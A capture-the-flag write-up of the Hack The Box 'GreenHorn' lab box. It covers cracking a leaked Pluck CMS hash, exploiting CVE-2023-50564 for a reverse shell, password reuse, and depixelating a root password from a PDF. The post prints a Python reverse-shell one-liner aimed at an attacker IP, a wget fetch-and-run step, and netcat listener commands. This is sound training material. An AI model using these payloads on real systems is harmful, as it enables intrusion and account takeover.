writeup 2024-10-30 · 13 min read

Hack The Box GreenHorn Writeup (Easy Linux)

Easy Linux box. A public Gitea repo leaks the Pluck CMS password hash, CVE-2023-50564 gives RCE, and Depix recovers the root password from a pixelated PDF.

Hack The Box GreenHorn Writeup (Easy Linux)

Summary

GreenHorn runs a Pluck CMS site on port 80 alongside a Gitea instance on port 3000 that serves the site’s own repository to anonymous users. Diffing that repository against the upstream pluck 4.7.18 release surfaces data/settings/pass.php, a SHA-512 hash of the CMS admin password, which hashcat cracks straight out of rockyou.txt. Pluck 4.7.18 is vulnerable to CVE-2023-50564, an authenticated arbitrary file upload through the module installer, and a public proof of concept uses the admin session to upload a zipped PHP payload and return a reverse shell as www-data. The same cracked password belongs to the local user junior, so a straight reuse moves sideways into that account. Junior’s home directory holds Using OpenVAS.pdf, whose embedded image contains the root password with a pixelation filter over it, and pdfimages plus Depix reverse the pixelation well enough to read the password and log in as root over SSH.

BS01: Exposed Secrets - Gitea

Explanation

There is a Gitea instance running on http://greenhorn.htb:3000, that allows for unauthenticated remote users to view the source code for the GreenHorn main website on port 80. By reviewing the repository at http://greenhorn.htb:3000/GreenAdmin/GreenHorn, we identified the existence of files in the source code of GreenHorn that are not present in the original Pluck CMS github repository for the same version. Among these files,

1
2
3
$ ls GreenHorn/data/settings 
install.dat   options.php  pass.php       token.php
langpref.php  pages        themepref.php  update_lastcheck.php

The “pass.php” file contains a SHA-512 hash.

1
2
3
4
$ cat GreenHorn/data/settings/pass.php 
<?php
$ww = 'd5443a<SNIP>790163';
?>

We were able to crack this hash using a common password wordlist, and log in to the administrative panel at http://greenhorn.htb/login.php.

Steps to Reproduce

  1. Clone the git repository:
1
2
3
4
5
6
7
8
$ git clone http://greenhorn.htb:3000/GreenAdmin/GreenHorn.git
Cloning into 'GreenHorn'...
remote: Enumerating objects: 517, done.
remote: Counting objects: 100% (517/517), done.
remote: Compressing objects: 100% (395/395), done.
remote: Total 517 (delta 60), reused 517 (delta 60), pack-reused 0
Receiving objects: 100% (517/517), 1.06 MiB | 2.13 MiB/s, done.
Resolving deltas: 100% (60/60), done.
  1. Download the original source code for this version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ wget https://github.com/pluck-cms/pluck/archive/refs/tags/4.7.18.zip
--2024-10-30 08:50:12--  https://github.com/pluck-cms/pluck/archive/refs/tags/4.7.18.zip
Resolving github.com (github.com)... 20.201.28.151

<SNIP>

HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: ‘4.7.18.zip’

4.7.18.zip                  [  <=>                        ]   1.67M  4.19MB/s    in 0.4s    

2024-10-30 08:50:14 (4.19 MB/s) - ‘4.7.18.zip’ saved [1751813]

                                                                                           
┌──(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ unzip 4.7.18.zip 
Archive:  4.7.18.zip
8611e20344ddc74c12855fd0a61b8000b56496be
   creating: pluck-4.7.18/
  inflating: pluck-4.7.18/README.md  
  inflating: pluck-4.7.18/SECURITY.md  

  <SNIP>

  inflating: pluck-4.7.18/login.php  
  inflating: pluck-4.7.18/requirements.php  
  inflating: pluck-4.7.18/robots.txt
  1. I used the script below to compare the two folders and find differences quickly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import filecmp
import os
import sys

def compare_directories(dir1, dir2):
    """
    Compare two directories and report differences in file content, 
    added files, and deleted files.
    """
    # Create a dircmp object for comparison
    dir_comparison = filecmp.dircmp(dir1, dir2)
    report_differences(dir_comparison)

def report_differences(dir_cmp):
    """
    Recursively report differences between directories.
    """
    # Report files only in the first directory
    if dir_cmp.left_only:
        print(f"\nFiles only in {dir_cmp.left}:")
        for item in dir_cmp.left_only:
            print(f"  {item}")

    # Report files only in the second directory
    if dir_cmp.right_only:
        print(f"\nFiles only in {dir_cmp.right}:")
        for item in dir_cmp.right_only:
            print(f"  {item}")

    # Report files that are in both directories but differ in content
    if dir_cmp.diff_files:
        print(f"\nFiles that differ between {dir_cmp.left} and {dir_cmp.right}:")
        for item in dir_cmp.diff_files:
            print(f"  {item}")

    # Recursively compare subdirectories
    for sub_dir in dir_cmp.subdirs.values():
        report_differences(sub_dir)

if __name__ == "__main__":
    # Ensure correct usage
    if len(sys.argv) != 3:
        print("Usage: python compare_directories.py <directory1> <directory2>")
        sys.exit(1)

    # Get directory paths from command-line arguments
    directory1 = sys.argv[1]
    directory2 = sys.argv[2]

    # Check if the provided paths are valid directories
    if not os.path.isdir(directory1) or not os.path.isdir(directory2):
        print("Both arguments must be valid directories.")
        sys.exit(1)

    # Perform the directory comparison
    compare_directories(directory1, directory2)
  1. Run the script to compare the folders
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ python3 compare_directories.py GreenHorn pluck-4.7.18

Files that differ between GreenHorn and pluck-4.7.18:
  README.md
  SECURITY.md
  admin.php

<SNIP>

Files only in GreenHorn/data/settings:
  install.dat
  options.php
  pages
  pass.php
  themepref.php
  token.php
  update_lastcheck.php

Files that differ between GreenHorn/data/settings and pluck-4.7.18/data/settings:
  langpref.php

<SNIP>
  1. Grab the SHA-512 hash at GreenHorn/data/settings/pass.php and save to greenhorn.pass:

greenhorn.pass

1
d5443a<SNIP>790163
  1. Crack the hash with hashcat:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ hashcat -d 1 greenhorn.pass -m 1700 ~/Documents/hashcat/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

<SNIP>

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 182 MB

Dictionary cache hit:
* Filename..: /home/user/Documents/hashcat/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

d5443a<SNIP>790163:[PASSWORD REDACTED]
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1700 (SHA2-512)
Hash.Target......: d5443a...790163
Time.Started.....: Wed Oct 30 09:57:24 2024 (0 secs)
Time.Estimated...: Wed Oct 30 09:57:24 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/user/Documents/hashcat/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 39890.7 kH/s (2.27ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 458452/14344385 (3.20%)
Rejected.........: 0/458752 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> lovesick
Hardware.Mon.#1..: Temp: 45c Util:  3% Core:1380MHz Mem:6000MHz Bus:8

Started: Wed Oct 30 09:57:23 2024
Stopped: Wed Oct 30 09:57:26 2024
  1. Use the cracked password to log in as admin at http://greenhorn.htb/login.php.

BS02: Initial Access - Pluck CMS Authenticated Remote Code Execution (CVE-2023-50564)

Explanation

The Pluck CMS version used in GreenHorn (4.7.18) is vulnerable to CVE-2023-50564. According to NIST:

An arbitrary file upload vulnerability in the component /inc/modules_install.php of Pluck-CMS v4.7.18 allows attackers to execute arbitrary code via uploading a crafted ZIP file.

There are public PoCs available to exploit this vulnerability.

Steps to Reproduce

  1. Clone the repository for this awesome PoC:
1
2
3
4
5
6
7
8
$ git clone https://github.com/Mrterrestrial/CVE-2023-50564.git
Cloning into 'CVE-2023-50564'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 14 (delta 1), reused 8 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (14/14), 6.98 KiB | 6.98 MiB/s, done.
Resolving deltas: 100% (1/1), done.
  1. Run the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(.venv)─(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ cd CVE-2023-50564     
                                                                                           
┌──(.venv)─(kali㉿kali)-[~/…/machines/easy/greenhorn/CVE-2023-50564]
└─$ python3 exploit.py 
Enter the target URL (e.g., example.com): greenhorn.htb
Enter the password for target authentication: [PASSWORD REDACTED]
Enter your IP (for reverse shell): 10.10.14.5
Enter the port to listen on (for reverse shell): 1234
[*] Authenticating to the target...
[+] Authentication successful.
[*] Generating reverse shell PHP file...
[+] Reverse shell PHP file created successfully as 'shell.php'.
[*] Creating ZIP payload...
[+] ZIP file created as 'payload.zip'.
[*] Starting reverse shell listener on 10.10.14.5:1234 ...
[*] Uploading payload to the target...
[+] Listening for incoming connections on 10.10.14.5:1234 ...
[+] Payload uploaded successfully.
[*] Triggering reverse shell at: http://greenhorn.htb/data/modules/payload/shell.php
[+] Connection received from ('10.10.11.25', 43302)
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.25  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb0:3167  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb0:3167  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:31:67  txqueuelen 1000  (Ethernet)
        RX packets 360745  bytes 44524240 (44.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 260127  bytes 203381821 (203.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 212753  bytes 63241139 (63.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 212753  bytes 63241139 (63.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Shell>

BS03: Horizontal Privilege Escalation - Password Reuse

Explanation

The password obtained after cracking the SHA-512 hash earlier (refer to BS01) is not only valid for the admin user in the Pluck CMS instance but also valid for the local user “junior” as well. We can escalate privileges horizontally by logging in as “junior”.

Steps to Reproduce

  1. Obtain initial access (refer to BS02).

  2. Create rev.py, replacing “ATTACKER-TUN0-IP” by your actual tun0 ip address:

rev.py

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER-TUN0-IP",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
  1. Open an HTTP server in the same directory as “rev.py” using python:
1
python3 -m http.server 80
  1. In other terminal, fire up a netcat linstener to receive the reverse shell connection:
1
nc -lvnp 9001
  1. In your initial access shell (obtained in step 1), download the rev.py using wget and execute it:
1
2
Shell> wget ATTACKER-TUN0-IP/rev.py
Shell> python3 rev.py
  1. If everything went smoothly, you should get a connection back and be able to stabilize the sell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.25] 44824
www-data@greenhorn:~/html/pluck/data/modules/payload$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ad$ python3 -c 'import pty; pty.spawn("/bin/bash")'  
www-data@greenhorn:~/html/pluck/data/modules/payload$ export TERM=xterm
export TERM=xterm
www-data@greenhorn:~/html/pluck/data/modules/payload$ ^Z
zsh: suspended  nc -lvnp 9001
                                                                                           
┌──(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ stty raw -echo; fg         
[1]  + continued  nc -lvnp 9001

www-data@greenhorn:~/html/pluck/data/modules/payload$
  1. Use the same password uncovered earlier (refer to BS01) to log in as junior:
1
2
3
4
5
6
www-data@greenhorn:~/html/pluck/data/modules/payload$ su junior
Password: 
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
junior@greenhorn:/var/www/html/pluck/data/modules/payload$ id
uid=1000(junior) gid=1000(junior) groups=1000(junior)
junior@greenhorn:/var/www/html/pluck/data/modules/payload$
  1. We can now add our SSH public key to /home/junior/.ssh/authorized_keys to obtain access through SSH.

BS04: Vertical Privilege Escalation - Informational PDF

Explanation

In user “junior” home folder, we can see an informational PDF:

1
2
3
4
5
6
7
junior@greenhorn:/var/www/html/pluck/data/modules/payload$ cd ~
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
junior@greenhorn:~$ ls -l
total 64
-rw-r----- 1 root junior    33 Oct 29 22:21  user.txt
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
junior@greenhorn:~$

The “Using OpenVAS.pdf” contains the following message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Hello junior,
We have recently installed OpenVAS on our server to actively monitor and identify potential security
vulnerabilities. Currently, only the root user, represented by myself, has the authorization to execute

OpenVAS using the following command:
`sudo /usr/sbin/openvas`
Enter password: [CENSORED PASSWORD IMAGE, USING PIXELIZATION]

As part of your familiarization with this tool, we encourage you to learn how to use OpenVAS
effectively. In the future, you will also have the capability to run OpenVAS by entering the same
command and providing your password when prompted.

Feel free to reach out if you have any questions or need further assistance.

Have a great week,
Mr. Green

However, censoring sensitive information like passwords with pixelization is not secure, and there are tools available that can uncover the real text if the right conditions are met. That is exactly what happened, we were able to revert the original text from the pixelated image and use this password to log in as root, which completely compromises the host.

Steps to Reproduce

  1. Download the PDF to your attacking machine using SCP or netcat or other means

  2. Extract the censored password image from the PDF:

1
2
3
4
5
$ pdfimages pdf.pdf pdf-image -png
                                                                                           
┌──(kali㉿kali)-[~/…/htb/machines/easy/greenhorn]
└─$ ls -l pdf-image-000.png 
-rw-rw-r-- 1 kali kali 502 Oct 30 10:21 pdf-image-000.png
  1. Use this tool to recover the password from the censored image:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ git clone https://github.com/spipm/Depix.git                
Cloning into 'Depix'...
remote: Enumerating objects: 250, done.
remote: Counting objects: 100% (93/93), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 250 (delta 63), reused 69 (delta 56), pack-reused 157 (from 1)
Receiving objects: 100% (250/250), 851.02 KiB | 930.00 KiB/s, done.
Resolving deltas: 100% (118/118), done.
                                                                                           
┌──(.venv)─(kali㉿kali)-[~/hacking]
└─$ cd Depix     
                                                                                           
┌──(.venv)─(kali㉿kali)-[~/hacking/Depix]
└─$ python3 depix.py -p ~/hacking/htb/machines/easy/greenhorn/pdf-image-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ~/hacking/htb/machines/easy/greenhorn/depixelated_password.png
2024-10-30 10:24:22,596 - Loading pixelated image from /home/kali/hacking/htb/machines/easy/greenhorn/pdf-image-000.png
2024-10-30 10:24:22,618 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-10-30 10:24:23,418 - Finding color rectangles from pixelated space
2024-10-30 10:24:23,419 - Found 252 same color rectangles
2024-10-30 10:24:23,419 - 190 rectangles left after moot filter
2024-10-30 10:24:23,419 - Found 1 different rectangle sizes
2024-10-30 10:24:23,419 - Finding matches in search image
2024-10-30 10:24:23,419 - Scanning 190 blocks with size (5, 5)
2024-10-30 10:24:23,450 - Scanning in searchImage: 0/1674
2024-10-30 10:25:13,610 - Removing blocks with no matches
2024-10-30 10:25:13,610 - Splitting single matches and multiple matches
2024-10-30 10:25:13,614 - [16 straight matches | 174 multiple matches]
2024-10-30 10:25:13,614 - Trying geometrical matches on single-match squares
2024-10-30 10:25:13,883 - [29 straight matches | 161 multiple matches]
2024-10-30 10:25:13,883 - Trying another pass on geometrical matches
2024-10-30 10:25:14,120 - [41 straight matches | 149 multiple matches]
2024-10-30 10:25:14,120 - Writing single match results to output
2024-10-30 10:25:14,121 - Writing average results for multiple matches to output
2024-10-30 10:25:17,414 - Saving output image to: /home/kali/hacking/htb/machines/easy/greenhorn/depixelated_password.png
  1. Open the output image, and note down the password for the root user:
1
sidefr <SNIP> erside
  1. Use the uncovered password to log in as root via SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ssh root@greenhorn.htb
root@greenhorn.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Oct 30 02:29:24 PM UTC 2024

  System load:           0.11
  Usage of /:            66.2% of 3.45GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             244
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.25
  IPv6 address for eth0: dead:beef::250:56ff:feb0:3167


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
Last login: Wed Oct 30 14:29:25 2024 from 10.10.14.5
root@greenhorn:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.25  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb0:3167  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb0:3167  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:31:67  txqueuelen 1000  (Ethernet)
        RX packets 362061  bytes 44667048 (44.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 262491  bytes 203579451 (203.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@greenhorn:~#
This post is licensed under CC BY 4.0 by the author.